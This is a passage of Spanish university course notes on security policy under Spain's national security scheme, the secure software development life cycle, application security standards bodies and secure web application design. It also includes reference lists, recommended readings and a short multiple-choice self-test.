comunicaciones por parte de CCN para facilitar un mejor cumplimiento de dichos
requisitos mínimos.
Básicamente la implantación del esquema consta de los siguientes pasos que se

representan en la figura siguiente y que tiene estos pasos:
» Categorizar el sistema de información:

o El responsable de la información manejada establece los niveles requeridos (anexo
I del ENS y guía CCN-STIC 803).
o El responsable de los servicios prestados establece los niveles requeridos (anexo I

del ENS y guía CCN-STIC 803).
o Se deduce automáticamente la categoría del sistema de información.
» Seleccionar medidas de seguridad:

o El responsable de la seguridad realiza el pertinente análisis de riesgos.
o El responsable de la seguridad determina la declaración de aplicabilidad, teniendo
en cuenta los mínimos requeridos por el anexo II del ENS y las medidas adicionales
que se estimen oportuna.
» Implantar las medidas de seguridad:

o El administrador de seguridad del sistema (ASS) se encarga de aplicar las medidas
acordadas (guía CCN STIC 804).
» Evaluar la seguridad del sistema de información:

o Corresponde al sistema de gestión que se emplee, pudiendo recurrir a auditorías
externas cuando sea pertinente (guía CCN STIC 802) se evalúa el riesgo residual.

» Autorización para operar:

o El responsable de la información acepta el riesgo residual sobre la información que
le compete.
o El responsable del servicio acepta el riesgo residual sobre los servicios que le
competen. Puede ser necesario un plan de mejora de la seguridad para atender a
los riesgos que no son aceptables, regresando al paso 2.
» Monitorizar:
o El administrador de seguridad del sistema (ASS) recopila información sobre el
desempeño del sistema de información en materia de seguridad.
o El responsable de la seguridad monitoriza que el sistema de información se
comporta dentro de los márgenes aceptados de riesgo.
o Los responsables de la información y de los servicios son informados de
desviaciones significativas del riesgo sobre los activos de los que son propietarios;
si la desviación es elevada, el responsable del sistema puede acordar la suspensión
temporal del servicio hasta que se puedan garantizar niveles aceptables de riesgo

2.5. Ciclo de vida de desarrollo seguro de software
La seguridad de la aplicación tiene que tratarse obligatoriamente en todas las fases del
ciclo de vida desarrollo seguro (SSDLC) de aplicaciones. En cada una de las fases, como
veremos más adelante, se han de realizar prácticas que tienen que ver con el diseño, la
implementación y pruebas de la seguridad de la aplicación tratando y cubriendo todos
los aspectos y principios de la seguridad.
El ciclo de vida SSDLC contempla también las operaciones y actividades de seguridad

online en fase de producción con la aplicación desplegada, la cual ya puede entonces
ser objetivo de ataques de cualquier naturaleza.
En relación al SSDLC hay que llevar a cabo:
» En primer lugar hay que derivar los requisitos de seguridad y casos de abuso de la
aplicación.
» Hay que diseñar la seguridad de la aplicación en base a los requisitos de seguridad y
casos de abuso de la fase 1 y de los principios de seguridad: autenticación,
autorización, control de accesos a recursos, cifrado de datos, seguridad en
profundidad para asegurar el no repudio, confidencialidad e integridad de datos, etc.
» Se diseñan los casos de test funcionales de seguridad basados en el riesgo.
» Se implementa el código de la aplicación siguiendo buenas prácticas de desarrollo
seguro como son la validación de las entradas y salidas de la aplicación, gestión de
errores, etc.
» Se ejecutan los casos de test para prueba del diseño funcional de la seguridad.
» Se prueba la seguridad del código y funcional de seguridad de la aplicación con
técnicas de caja blanca y de caja negra. Estas pruebas pueden conducir a un ciclo
volviendo a la primera fase para definir nuevos requisitos o redefinir los existentes
para solucionar problemas encontrados.
» Se despliega la aplicación y se prueba mediante test de penetración.
» Para la fase de producción se diseñan operaciones de seguridad como monitorización,
auditoría, gestión de backups, centro de respaldo, etc.
Normalmente se deben tener procesos definidos en todo lo que se refiere a desarrollo de

software, gestión de configuración, gestión y aseguramiento de la calidad con sus
correspondientes procedimientos y actividades, donde un proyecto de software tiene
una dirección de proyecto, equipo de desarrollo.

De esta manera se planifica y gestiona adecuadamente y se sigue un modelo de ciclo de

vida adaptado a las características del proyecto. Partiendo de la política de seguridad
y dentro del sistema de gestión de seguridad de la información se debe contar
con un equipo de seguridad que permita implantar el ciclo de vida de desarrollo
seguro de software, asesorando y realizando las actividades relacionadas con la
seguridad en el ciclo de vida.
Cualquier modelo de ciclo de vida (ciclo de vida en espiral, extreme programming,

proceso unificado de rational) se puede adaptar y convertir en un SSDLC. Si no se tuviera
una estructura por procesos dentro de la organización sería muy difícil pensar en aplicar
diseño e implementación de la seguridad durante el ciclo de vida de software
correctamente. Una propuesta de ciclo de vida de desarrollo seguro de software
SSDLC:
Modelo de SSDLC de MacGraw

Fuente: https://www.sans.org/
La figura muestra un ejemplo de ciclo de vida de desarrollo de software SSDLC donde se

especifican las actividades y pruebas de seguridad a efectuar en cada fase del mismo.

A continuación se enumeran esas actividades, mejores prácticas o touchpoints en

orden de eficacia e importancia:
» Revisión de código.
» Análisis de riesgo arquitectónico.
» Pruebas de penetración.
» Pruebas de seguridad basados en riesgo.
» Casos de abuso.
» Requisitos de seguridad.
» Operaciones de seguridad.
» Revisión externa.
Este orden descrito no se adecuará perfectamente a todas las organizaciones. De hecho,

el orden refleja el trabajo desarrollado en años de experiencia de aplicar estas prácticas
en empresas que tienen gran cantidad de software. Por esa razón, la revisión de código
viene antes del análisis de riesgos arquitectónicos. Hay que resaltar que estas actividades
hay que repetirlas a lo largo del ciclo de vida lo que supone un ciclo continuo en la
ejecución de las distintas actividades de seguridad:
» Según se van descubriendo nuevas amenazas se tienen nuevos casos de abuso que
implican nuevos riesgos, lo que implica rehacer el análisis de riesgos.
» Si se introducen cambios o se introducen nuevos componentes de software o de
hardware en el sistema hay que rehacer el análisis de riesgos y revisar el código
de nuevos componentes de software.
» Nuevos defectos de implementación de partes que se modifican con arreglo a
nuevas especificaciones o cambios en las mismas implica nueva revisión de código y
nuevas pruebas de seguridad en operación del sistema.
» Por supuesto siempre hay que incidir en la prevención, formación en seguridad,
documentando, realizando cuantificación y análisis de métricas de seguridad que se
puedan emplear en futuros proyectos para mejorar.

2.6. Estándares para la seguridad de las aplicaciones
Para abordar el diseño de la seguridad de un sistema o aplicación es necesario obtener y

adquirir una adecuada visión de la tarea ante la que nos encontramos. La tarea de
diseñar, implementar, probar, desplegar y proteger una aplicación online es
complicada y necesita reunir el conocimiento adecuado.
Este conocimiento puede reunirse a través de varias fuentes, una de ellas es recurrir a
organizaciones y estándares que se vienen ocupando desde hace tiempo de recopilar
información sobre metodologías, protocolos, criptografía, paradigmas, proyectos de
referencia, estudios sobre los aspectos y particularidades de todo lo que concierne a la
seguridad, herramientas de test y herramientas y otras formas de protección en tiempo
real, etc.
En definitiva, para los procesos de análisis de requisitos de seguridad, diseño de la

seguridad, análisis de riesgos, implementación y pruebas de la seguridad de los sistemas
hay que acudir a la información y el conocimiento que puede extraerse de estándares
de seguridad que aglutinan probada experiencia de expertos en materia de seguridad
de aplicaciones.
Entre los principales estándares de seguridad de aplicaciones se puede citar:
» NIST. National institute of standars and technologies. EE.UU.

» NSA. National security agency. EE. UU.
» OWASP. Open web application security project.
» WASC. Web application security consortium.
» OASIS. Open standars for the information society.
» OISSG. Open information systems security groups.
» CGISECURITY.
» CERT SEI. Software engineering institute.
» HOMELAND SECURITY. Build security in.
» CISECURITY. Center for Internet security.
» MITRE CWE.
» MITRE CAPEC.
» SANS Institute.

Se pueden encontrar estándares de conocimiento sobre las siguientes áreas de

conocimiento necesarias para aplicar y probar la seguridad de las aplicaciones:
» Vulnerabilidades de seguridad. Naturaleza, características, importancia,

estadísticas, etc.: OWASP TOP TEN 2013, WASC, SANS TOP 25, MITRE CWE y
MITRE CAPEC.
» Metodologías seguras de desarrollo de aplicaciones. Ciclos de vida de
desarrollo seguro (SSDLC): SDL, TOUCHPOINTS, CLASP, OPENSAMM, BSIMM.
» Metodologías de pruebas y testing de seguridad de aplicaciones. OWASP,
OSSTMM, PMBOK, ISSAF, NIST SP 800-115.
» Herramientas de test de la seguridad. Tipos, características, etc. SAST, DAST,
IAST, RASP, HÍBRIDAS, consultar gartner magic quadrant application security
testing.
» Herramientas de protección online. Listas, características, etc. FIREWALLS de
aplicaciones web, FIREWALLS-GATEWAYS XML para servicios web, FIREWALLS
SQLI.
» Metodologías de evaluación de herramientas de test de la seguridad. Tesis
doctoral Bermejo, J.R. (2014), WASC.
» Benchmarks para evaluación de herramientas de seguridad, SAMATE NIST
Project.
» Seguridad en servicios web, OASIS, W3C.
» Seguridad en sistemas SCADA, infraestructuras críticas, serie guías STIC
480A, 480B.
» Centros de respuesta ante incidentes de seguridad y gestión de incidentes
de seguridad, guías STIC 810 y 817.
En el apartado de las aplicaciones web, dos de las organizaciones abiertas más

importantes que se ocupan del estudio y desarrollo de su seguridad son OWASP y WASC.

El proyecto OWASP que es una organización independiente dedicada a encontrar y

luchar contra las causas del software inseguro. Organizado en proyectos y capítulos
repartidos por todo el mundo que desarrollan documentación, herramientas y
estándares de fuentes abiertas (GPL, GFDL, LGPL). Está abierta a la participación de
cualquiera. En su sitio web se menciona:
Everyone is free to participate in OWASP and all of out materials are available
under a free and open software license. You´ll find everything about OWASP
here on or linked from our wiki and current information on our OWASP Blog.
OWASP does not endorse or recommend comercial products or services,
allowing ourcommunity to remain vendor neutral with the collective wisdom of
the best minds in software security worldwide. We ask that the community look
out for inappropriate uses of the OWASP Brand including use of out name,
logos, Project names and other trademark issues.
La lista de proyectos de OWASP es amplísima y abarcan todos los aspectos de seguridad

de las aplicaciones web, herramientas de seguridad, metodologías, buenas prácticas de
seguridad, benchmarking, etc.
WASC, el propósito de esta organización es, como se cita en su sitio web:
The web Application security consortium (WASC) is 501c3 non profit made up
of an international group of experts, industry practitioners and organizational
representatives who produce open source and widely agreed upon best-practise
security standards for the world wide web. As an active community, WASC
facilitates the Exchange of ideas and organizes several industry projects. WASC
consistently releases technical information, contributed articles, security
guidelines and other useful documentation. Businesses, educational
institutions, governments, application developers security professionals, and
software vendors all over the world utilize our materials to assist with the
challenges presented by web application security. Volunteering to participate in
WASC related activities is free and open to all.

WASC implementa muchos e interesantes proyectos relativos a la seguridad de las

aplicaciones web que se pueden y deben tener muy en cuenta a la hora de implantar una
aplicación. Se pueden consultar los proyectos:
» Distributed open proxy honeypots.

» Script mapping.
» Static analysis tool evaluation criteria.
» The web security glossary.
» Web application firewall evaluation criteria.
» Web application security scanner evaluation criteria.
» Web application security statistics.
» Web hacking incidents database.
» WASC threat classification.
CWE MITRE
Se ocupa de áreas como: análisis de seguridad del código, de las aplicaciones, evaluación
de sistemas, entrenamiento, gestión del riesgo, etc. Todas relacionadas con la seguridad
de sistemas y aplicaciones. Pero principalmente proporciona un diccionario de uso
público internacional que proporciona una medida unificada de un
conjunto de debilidades de software que pueden dar lugar a
vulnerabilidades de seguridad.
Hay que hacer distinción de lo que es una definición CVE de lo que es una definición
CWE. La diferencia está en que la lista CWE son errores en el software que pueden
conducir a una vulnerabilidad de software. La lista de vulnerabilidades CVE son errores
de software concretos detectados en un sistema determinado (por ejemplo: CVE 1999-
0005 Arbitrary command execution vía IMAP buffer overflow in authenticate
command) que pueden ser directamente usados por un atacante para obtener el acceso
a un sistema.
En cuanto a definiciones, independientemente para este trabajo amén de otras que

puedan existir, se van a considerar en torno al término weakness (debilidades de
software) las denominaciones bug, flaw, vulnerabilidad, defecto, error, etc. En este
trabajo todas esas definiciones se referirán en realidad a una weakness CWE.

SANS
El Instituto SANS se estableció en 1989 como una organización de investigación y

educación cooperativa. Sus programas llegan ahora a más de 165.000 profesionales
de la seguridad del mundo.
Lo que más interesa de cara a este trabajo es su clasificación de los 25 principales errores
o problemas de seguridad (weakness), los cuales se encuentran perfectamente
identificados en la lista CWE de MITRE. Todos ellos se pueden dar en aplicaciones web
y entre ellos están los problemas más importantes de las aplicaciones (XSS, SQLI, CSRF,
OPEN REDIRECT, PATH TRANSVERSAL, etc.). En la referencia de SANS se puede
encontrar acceso múltiple a recursos sobre cómo eliminar los errores de esta
categorización SANS TOP 25.
CNI-CCN-CERT
Centro de respuesta ante incidentes de seguridad del Centro criptológico nacional del
centro nacional de inteligencia de España, responsable de la seguridad de los sistemas
en la administración pública española. En su sitio web existe abundante información
sobre vulnerabilidades de seguridad, ataques, herramientas o guías de seguridad de
numerosos entornos y aplicativos.
INCIBE
Desde el 28 de octubre de 2014 el Instituto nacional de tecnologías de la

comunicación, S. A. (INTECO) pasa a llamarse Instituto nacional de
ciberseguridad de España, S. A. (INCIBE), según el acuerdo adoptado en junta
general del 27 de octubre de 2014. Con dicho cambio de denominación e imagen
INCIBE proyecta una identidad acorde con su orientación estratégica y
posicionamiento como centro nacional de referencia en ciberseguridad.

Por último se destaca el NIST, donde se pueden encontrar principalmente guías de

seguridad de plataformas, entornos y aplicaciones y servicios que pueden ser
un buen punto de partida para abordar la configuración segura de muchas partes de un
sistema o aplicación. NIST abarca muchos campos de la ciencia y uno de ellos es
information technology que contemplan las áreas siguientes según se mencionan en su
sitio web:
» Biometrics.
» Computer forensics.
» Computer security.
» Conformance testing.
» Cybersecurity.
» Data mining.
» Data and informatics.
» Health IT.
» Imaging.
» Information delivery systems.
» Networking.
» Scientific computing.
» Software testing metrics.
» Telecommunications/wireless.

2.7. Referencias
Aplication security testing Gertner magic quadrant 2014. Recuperado (08 de mayo de
2015) en, https://info.veracode.com/analyst-report-gartner-application-security-
testing-magic-quadrant-2015.html
Bermejo, J. R. (2014). Metodología de evaluación de herramientas de análisis

automático de seguridad de aplicaciones web para su adaptación en el ciclo de vida de
desarrollo. Madrid: UNED.
CGI security. Recuperado (04 de febrero de 2016) en, http://www.cgisecurity.com/
CNN-CERT.CNI. Sitio web del CERT del CCN-CNI. Recuperado (08 de mayo de 2015)
en, https://www.ccn-cert.cni.es/
COBIT 5 (2012). Security policy. Recuperado (8 de mayo de 2015) en,

https://www.isaca.org/COBIT/Documents/COBIT-5-for-Information-Security-
Introduction.pdf
Díaz, G. (2004). Seguridad en las comunicaciones y la información. Madrid:

Universidad Nacional de Educación a Distancia.
Fraser, B. (1997). IETF RFC 2196 Site security handbook. Recuperado (4 de febrero de
2016) en, https://www.ccn-cert.cni.es/publico/seriesCCN-STIC/series/800-
Esquema_Nacional_de_Seguridad/805-Politica_de_seguridad_del_ENS/805_ENS-
politica_ene-11.pdf
INCEBE. Sitio web del INCIBE. Recuperado (08 de mayo de 2015) en,
https://www.incibe.es/
ISO 27001. Recuperado (4 de febrero de 2016) en, http://www.iso27000.es/
ISSAF ISECOM testing methodology. Recuperado (08 de mayo de 2015) en,

http://www.oissg.org/
ITIL, política de seguridad. Recuperado (8 de mayo de 2015) en,

http://itilv3.osiatis.es/diseno_servicios_TI/gestion_seguridad_informacion.php

Microsoft SDL. Recuperado (08 de mayo de 2015) en, http://www.microsoft.com/en-

us/sdl/
Mitre CAPEC. Common attack pattern enumeration and classification. Recuperado (08
de mayo de 2015) en, https://capec.mitre.org/
Mitre CVE. Common vulnerabilities and exposures official site. Recuperado (08 de
mayo de 2015) en, http://cve.mitre.org/
Mitre CWE. Common weakness enumeration. Recuperado (08 de mayo de 2015) en,
https://cwe.mitre.org/
NIST SP 800-115. Recuperado (08 de mayo de 2015) en,

http://csrc.nist.gov/publications/nistpubs/800-115/SP800-115.pdf
NIST information technology. Recuperado (08 de mayo de 2015) en,

http://www.nist.gov/information-technology-portal.cfm
NIST SP 800-53.rev4. (2013). Security and privacy controls for federal information
systems and organizations. Recuperado (8 de mayo de 2015) en,
http://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-53r4.pdf
NIST. (2016). National institute os standars and technology. Recuperado (04 de febrero
de 2016) en, http://csrc.nist.gov/publications/PubsSPs.html
OASIS. Open standars for the information society. Recuperado (08 de mayo de2015)
en, https://www.oasis-open.org/
OISSG. Open information systems security. Recuperado (08 de mayo de 2015) en,
http://www.oissg.org/
OSSTMM Open security testing methodology manual. Recuperado (08 de mayo de

2015) en, http://www.isecom.org/research/osstmm.html
Opensamm SSDLC. Open software assurance maturity model official site. Recuperado
(08 de mayo de 2015) en, http://www.opensamm.org/

OWASP CLASP. Project official site. Recuperado (08 de mayo de 2015) en,
https://www.owasp.org/index.php/Category:OWASP_CLASP_Project/es
OWASP. Open web application security project. Recuperado (04 de febrero de 2016) en,
OWASP testing guide. Recuperado (08 de mayo de 2015) en,

https://www.owasp.org/index.php/Web_Application_Penetration_Testing
OWASP TOP TEN 2013 vulnerabilities. Recuperado (08 de mayo de 2015) en,
PMBOK testing procedure. Recuperado (08 de mayo de 2015) en,

http://www.pmi.org/PMBOK-Guide-and-Standards.aspx
SANS Institute. Recuperado (08 de mayo de 2015) en, https://www.sans.org/
SANS TOP 25 most dangerous errors. Recuperado (08 de mayo de 2015) en,
https://www.sans.org/top25-software-errors/
WASC. web application security consortium. Recuperado (08 de mayo de 2015) en,
W3C web services security. Recuperado (08 de mayo de 2015) en,

http://www.w3.org/standards/xml/security

Lo + recomendado
Seguridad MYSQL
Se presenta una guía específica de seguridad de MYSQL, uno de los gestores de bases
de datos abiertos más extendidos en el mundo, abordando todos los elementos de la
seguridad de un SGBD.
TEMA 2 – Lo + recomendado 27 © Universidad Internacional de La Rioja (UNIR)

No dejes de leer…
Alonso, M., Díaz, G., Mur, F., Peire, J. y Sancristóbal, E. (2004). Seguridad en las
comunicaciones y en la información.Madrid: UNED.
Este libro disponible en la Biblioteca Virtual trata de la implantación

de la política de seguridad en una organización. Explica en las
páginas 144 a 164 concepto, principios y fases que debe tener para
su implementación.
Sistema de gestión de seguridad
The purpose of this publication is to provide guidelines for selecting and specifying
security controls for organizations and information systems supporting the executive
agencies of the federal government to meet the requiments of FIPS Publication 200,
Minumum security requirements for federal information and information systems.

TEMA 2 – Lo + recomendado 28 © Universidad Internacional de La Rioja (UNIR)

Secure software development life cicle (SSDLC) open SAMM vs BSIMM
Comparativa de dos de los modelos SSDLC más importantes OPENSAMM y BSIMM,

análisis de sus actividades de seguridad y fases.
Accede al documento desde el aula virtual o a través de la siguiente dirección web:

http://www.sigs.de/download/oop_2011/downloads/files/Mi8-
3_Stockhausen_Update.pdf
Centros de respuesta ante incidentes de seguridad CERT-CSIRT. Gestión

de ciberincidentes de seguridad
A lo largo de este documento se desarrolla en sus distintos capítulos: la estrategia

general, las experiencias y ámbitos de actuación actuales de los CERT a nivel nacional, la
normativa, buenas prácticas y legislación aplicable, la formación e información necesaria
y las herramientas que pueden ser usadas.
Accede al documento desde el aula virtual o a través de la siguiente dirección web:

https://www.ccn-cert.cni.es/series-ccn-stic/800-guia-esquema-nacional-de-
seguridad/520-ccn-stic-810-guia-de-creacion-de-cert-s/file.html

No dejes de ver…
Vídeos del INTECO sobre normativas de seguridad, estándares de

seguridad, implantación de un SGSI, etc.
En este vídeo podrás ver algunos conceptos básicos sobre seguridad de la información.

https://www.incibe.es/extfrontinteco/img/File/intecocert/sgsi/index.html

+ Información
A fondo
BSIMM
Maturity model for software security.

https://www.bsimm.com/download/dl.php
Este esquema es el modelo SGSI que sigue la administración pública española. El Real
Decreto 3/2010 de 8 de enero de desarrollo del esquema nacional de seguridad fija los
principios básicos y requisitos mínimos así como las medidas de protección a implantar
en los sistemas de la administración y promueve la elaboración y difusión de guías de
seguridad de las tecnologías de la información y las comunicaciones por parte de CCN
para facilitar un mejor cumplimiento de dichos requisitos mínimos.

https://www.ccn-cert.cni.es/series-ccn-stic/800-guia-esquema-nacional-de-
seguridad/682-ccn-stic-803-valoracion-de-sistemas-en-el-ens-1/file.html

ISO 27001
El SGSI es el concepto central sobre el que se construye ISO 27001. La gestión de la

seguridad de la información debe realizarse mediante un proceso sistemático,
documentado y conocido por toda la organización.
Accede a la norma a través de la Biblioteca Virtual de UNIR
OWASP
Página del proyecto abierto para seguridad de las aplicaciones web. En su página se
menciona su propósito.

WASC

Página web application security consortium, una organización sin ánimo de lucro
formada por un grupo internacional de expertos profesionales de la industria y
representantes de organizaciones que producen software libre y ampliamente acordados
estándares de seguridad de mejores prácticas para la world wide web.

NIST
Sitio web del National institute of standars and technology reúne amplio conocimiento,
guías, recursos y proyectos sobre la implementación de la seguridad del software de
aplicaciones, sistemas operativos, bases de datos y redes de comunicaciones entre otros.

http://csrc.nist.gov/
Bibliografía
Díaz Orueta, G. Seguridad en las comunicaciones y la información. Madrid: UNED.
ENS. Recuperado (08 de mayo de 2015) en, https://www.ccn-

cert.cni.es/publico/seccion-ens/index.html
ENS, política de seguridad, guía STIC. Recuperado (08 de mayo de 2015) en,

https://www.ccn-cert.cni.es/publico/seriesCCN-STIC/series/800-
Esquema_Nacional_de_Seguridad/805-Politica_de_seguridad_del_ENS/805_ENS-
politica_ene-11.pdf
IETF RFC 2196. Site security handbook. Recuperado (08 de mayo de 2015) en,
https://www.ietf.org/rfc/rfc2196.txt
ISO 27001, el portal en español. Recuperado (08 de mayo de 2015) en,

http://www.iso27000.es/
Microsoft SDL. Recuperado (08 de mayo de 2015) en, http://www.microsoft.com/en-

us/sdl/
OWASP CLASP project official site. Recuperado (08 de mayo de 2015) en,
https://www.owasp.org/index.php/Category:OWASP_CLASP_Project/es
Security and privacy controls for federal informationsystems and organizations. NIST
SP 800-53.rev4. Recuperado (08 de mayo de 2015) en,

Test
1. ¿Cuáles son los principios de seguridad en los que debe basarse toda política de
seguridad?
A. Profundidad en la defensa, mínimos privilegios, diversidad de la defensa,
gestión centralizada, sofisticación, identificación de puntos débiles, cierre
completo de accesos ante incidentes.
B. Profundidad en la defensa, mínimos, diversidad de la defensa, gestión delegada
en niveles, simplicidad, identificación de puntos débiles, cierre completo de
accesos ante incidentes.
C. Profundidad en la defensa, mínimos privilegios, diversidad de la defensa,
gestión centralizada, simplicidad, identificación de puntos débiles, cierre completo
de accesos ante incidentes.
2. ¿Cuál es el modelo de desarrollo de software seguro de Microsoft?

A. SDL.
B. CLASP.
C. TOUCHPOINTS.
3. ¿Cuál es el modelo de desarrollo de software seguro de Cigital?

A. SDL.
B. CLASP.
C. TOUCHPONTS.
4. ¿Cuál es el modelo de desarrollo de software seguro de OWASP?

A. SDL.
B. CLASP.
C. TOUCHPOINTS.

5. ¿Cuál es uno de los pilares de la seguridad organizativa?

A. SGSL.
B. CLASP.
C. TOUCHPOINTS.
6. ¿Cuál es la principal característica de un SGSI?

A. Es cíclico, se basa en monitorización continua.
B. No es cíclico.
C. No afecta a todas las partes de la organización.
7. ¿Cuáles es uno de los pilares de la seguridad organizativa?

A. OWASP.
B. CLASP.
C. TOUCHPOINTS
D. Política de seguridad.
8. ¿Cuál es uno de los pilares de la seguridad organizativa?

A. SSDLC.
B. CLASP.
C. TOUCHPOINTS.
D. OWASP.
9. ¿Cuáles son las fases genéricas de implantación de una política de seguridad?

A. Implementación, pruebas.
B. Implementación, monitorización, análisis de vulnerabilidades.
C. Implementación, análisis de vulnerabilidades, paso a producción.
10. ¿Cuál es el esquema que suelen seguir los SGSI?

A. Plan, implementación, y pruebas.
B. Plan, implementación, monitorización, análisis de vulnerabilidades.
C. Plan do check act (PDCA).

Seguridad en el diseño de las
aplicaciones web
[3.2] Introducción a la seguridad de las aplicaciones web
[3.3] Seguridad en el diseño de las aplicaciones web
[3.4] Referencias
TEMA
Seguridad en el diseño de las aplicaciones web
Esquema
TEMA 3 – Esquema
SEGURIDAD EN EL DISEÑO DE
APLICACIONES WEB
INTRODUCCIÓN A LA
SEGURIDAD DE LAS
Autenticación
APLICACIONES WEB
Seguridad en el cliente Gestión de sesiones
Seguridad en el servidor
web/aplicaciones Autorización
Seguridad en el servidor de
gestión de bases de datos Confidencialidad e integridad
Seguridad en la comunicación

Ideas clave
Las aplicaciones web desplegadas en las intranets de las organizaciones y en Internet

suponen un amplio porcentaje del total de las aplicaciones. Por otro lado, los problemas
de seguridad de las aplicaciones no-web son un subconjunto de los problemas de las
aplicaciones web.
El tercer tipo de aplicaciones en auge son las aplicaciones móviles donde el cliente es
un smartphone, teléfono móvil, tableta, portátil, etc. Los ataques a dispositivos móviles
están creciendo en la medida que aumenta el uso de las aplicaciones móviles (m-
commerce) para banking, compras, etc. que se pueden utilizar desde ellos. La
arquitectura de estas aplicaciones móviles es similar a la de las aplicaciones web. La
mayor diferencia está en el canal de comunicación y la forma de proveer comunicación
segura.
Por tanto, en este tema se aborda el diseño de la seguridad de una aplicación web
enfocado en proporcionar servicios seguros de identificación, autenticación y
autorización a los recursos de la aplicación que ya residan en la misma, en el sistema
operativo o en la base de datos asociada a la aplicación. Además se debe proveer
comunicación segura entre las capas de la aplicación y confidencialidad e integridad
en los datos que la aplicación maneja.

3.2. Introducción a la seguridad de las aplicaciones web
Han de contemplarse todos los aspectos de seguridad que tienen que están relacionados
con la arquitectura de la aplicación elegida. El ejemplo de la figura 11, es una arquitectura
tradicional de n-capas en las que hay que diseñar e implementar de forma adecuada:
» Seguridad en el cliente (navegador).

» Seguridad en el sistema operativo plataforma: comprobación de
configuraciones por defecto, gestión segura de la autenticación, autorización y control
de accesos, protección de datos.
» Seguridad en los propios servidores de aplicaciones y gestores de bases
de datos que dan soporte a la aplicación.
» Seguridad en la aplicación. Diseño seguro de la autenticación, gestión de
sesiones, autorización y control de accesos.
» Seguridad las comunicaciones entre servidores.
» Seguridad física: personal, instalaciones y documentación.
Arquitectura de seguridad de aplicaciones web

Seguridad en el cliente
La elección del navegador a utilizar ha de contemplarse en las fases de análisis de

requisitos de seguridad y de diseño de la arquitectura de la aplicación en paralelo
con el análisis de riesgos arquitectónico del ciclo de vida de desarrollo seguro de
aplicaciones (SSDLC). Lógicamente ha de cumplir con los requisitos de seguridad
deseados acordes con la aplicación web con la que va a interactuar.
Los navegadores web median entre los usuarios y las aplicaciones web. Aplicaciones
maliciosas pueden cargarse y ejecutarse dentro del navegador haciéndolo vulnerable. Las
nuevas arquitecturas de aplicaciones demandan nuevos diseños de navegadores acordes
con WEB 2.0.
La seguridad en los navegadores web hay que enfocarla desde dos puntos de vista:
» Las propias vulnerabilidades de seguridad que contiene el código con el que

está construido un determinado navegador. Por ejemplo, Netscape Navigator está
construido en C y Sun´s Hotjava está desarrollado en Java. Java y C son similares en
su sintaxis pero Java implícitamente comprueba límites de arrays, las operaciones
aritméticas están bien definidas y el control de acceso a ficheros, sockets se realiza
mediante el Security Manager.
» La implementación de medidas de seguridad que el propio usuario puede

administrar y configurar dentro del navegador para proteger la ejecución del código
de la parte cliente de las aplicaciones con sus propias vulnerabilidades de seguridad
que hay que intentar mitigar. Normalmente los navegadores incorporan la posibilidad
de ejecutar código java como applets, también otros como activeX que se descargan
desde el servidor y ha de controlarse que puedan acceder al sistema de ficheros,
memoria, etc. o también código javascript en aplicaciones AJAX de cliente
enriquecido WEB 2.0 que da nuevas posibilidades a los usuarios y desarrolladores
pero que crean nuevos problemas de seguridad.
Configuración segura cliente. Hay que implementar la configuración de seguridad

de los navegadores basándose en guías de configuración segura proporcionadas por el
fabricante, organizaciones y/o estándares.

Cada aplicación en un navegador tiene su propia configuración de seguridad

la cual define los privilegios de acceso al sistema local de ficheros. Además los
navegadores tienen su espacio local para almacenar datos sensibles como passwords,
cookies, historial de navegación, etc. Los navegadores actuales tienen que asegurar que
una aplicación web no puede acceder a ese almacenamiento y que solamente puede
acceder a sus datos privados como los cookies relativos a esa misma aplicación.
El objetivo de diseño a cumplir por un navegador ha de ser por un lado alcanzar una
adecuada protección del usuario y a la vez proporcionar la compatibilidad
necesaria con los tipos de aplicaciones web existentes.
La mayoría de navegadores usan todavía la original arquitectura monolítica (Silic,

M., Krolo, J.y Delac, G. 2010). Desde el aspecto de la seguridad si un navegador con
estructura monolítica se ve comprometido un atacante podría ejecutar código
arbitrariamente con los privilegios del usuario y un fallo causado por una simple
aplicación puede tener como consecuencia un fallo total en el navegador.

Sin embargo, si un navegador tiene una estructura modular, cada aplicación es ejecutada
en su propia sandbox (caja o módulo) con privilegios restringidos a medida sin afectar a
las demás aplicaciones, como se puede ver en la arquitectura de Chrome, en la siguiente
figura.
Arquitectura monolítica de los navegadores web
Arquitectura modular de Chrome
Seguridad en los servidores web / aplicaciones
Para el despliegue seguro de los servidores web y de aplicaciones se dispone de guías de

configuración segura. Un ejemplo genérico es la guía SP800-44v2 del NIST, licencia libre
(Guía SP800-44v2).

La elección de los servidores que dan soporte a la aplicación web a desplegar y al sistema
gestor de bases de datos (SGBD) ha de contemplarse en las fases de análisis de
requisitos de seguridad y de diseño de la arquitectura de la aplicación en
paralelo con el análisis de riesgos arquitectónico del ciclo de vida de desarrollo seguro de
aplicaciones (SSDLC). Lógicamente han de cumplir con los requisitos de seguridad
deseados acordes con la aplicación web y bases de datos que se van a instalar en los
servidores.
Seguridad en los servidores de gestión de bases de datos
La seguridad de los sistemas gestores de bases de datos, de las bases de datos alojadas
en ellos y de los datos alojados en ellos debe ser también objetivo prioritario y se debe
asegurar la integridad, la confidencialidad y disponibilidad en el acceso a los datos.
Para desplegar un SGBD en producción se debe planificar la gestión segura de las

configuraciones. Para ello existen guías de configuración específicas de cada entorno que
pueden ser suministradas por los fabricantes, organizaciones como DISA o NSA y
estándares como el NIST. Por otro lado, también se puede disponer de herramientas de
auditoría de la seguridad igualmente específicas para cada entorno, como por ejemplo la
herramienta scuba (Scuba by imperva database vulnerability scanner, 2015) para
mysql o rorascanner (Rorascanner for Oracle, 2015) para SGBD,s oracle. De esta forma
se pueden descubrir defectos en las configuraciones o diversas vulnerabilidades que hay
que remediar.
Seguridad en la comunicación
El diseño de la arquitectura de comunicaciones que da soporte a la aplicación

web a desplegar ha de contemplarse en las fases de análisis de requisitos de seguridad y
de diseño de la arquitectura de la aplicación en paralelo con el análisis de riesgos
arquitectónico del ciclo de vida de desarrollo seguro de aplicaciones (SSDLC).
Se ha de diseñar una arquitectura de red pensando en la seguridad desde el principio

dotando a red de una zona desmilitarizada donde ubicar los servidores con acceso directo
al exterior y de una zona de gestión de red. En último extremo se debe asegurar la
comunicación entre las capas de que se compone la aplicación (ver figura siguiente).

Capas aplicaciones web
Para ello se pueden utilizar distintas opciones de protección utilizando protocolos que se
sirven de criptografía simétrica y asimétrica como:
» Protocolo Secure socket layer (SSL) aplicado al protocolo HTTP => HTTPS.
» Protocolo TLS (variante de SSL).
» Protocolo de comercio electrónico SET.
» Protrocolo SSH para accesos a administración de servicios.
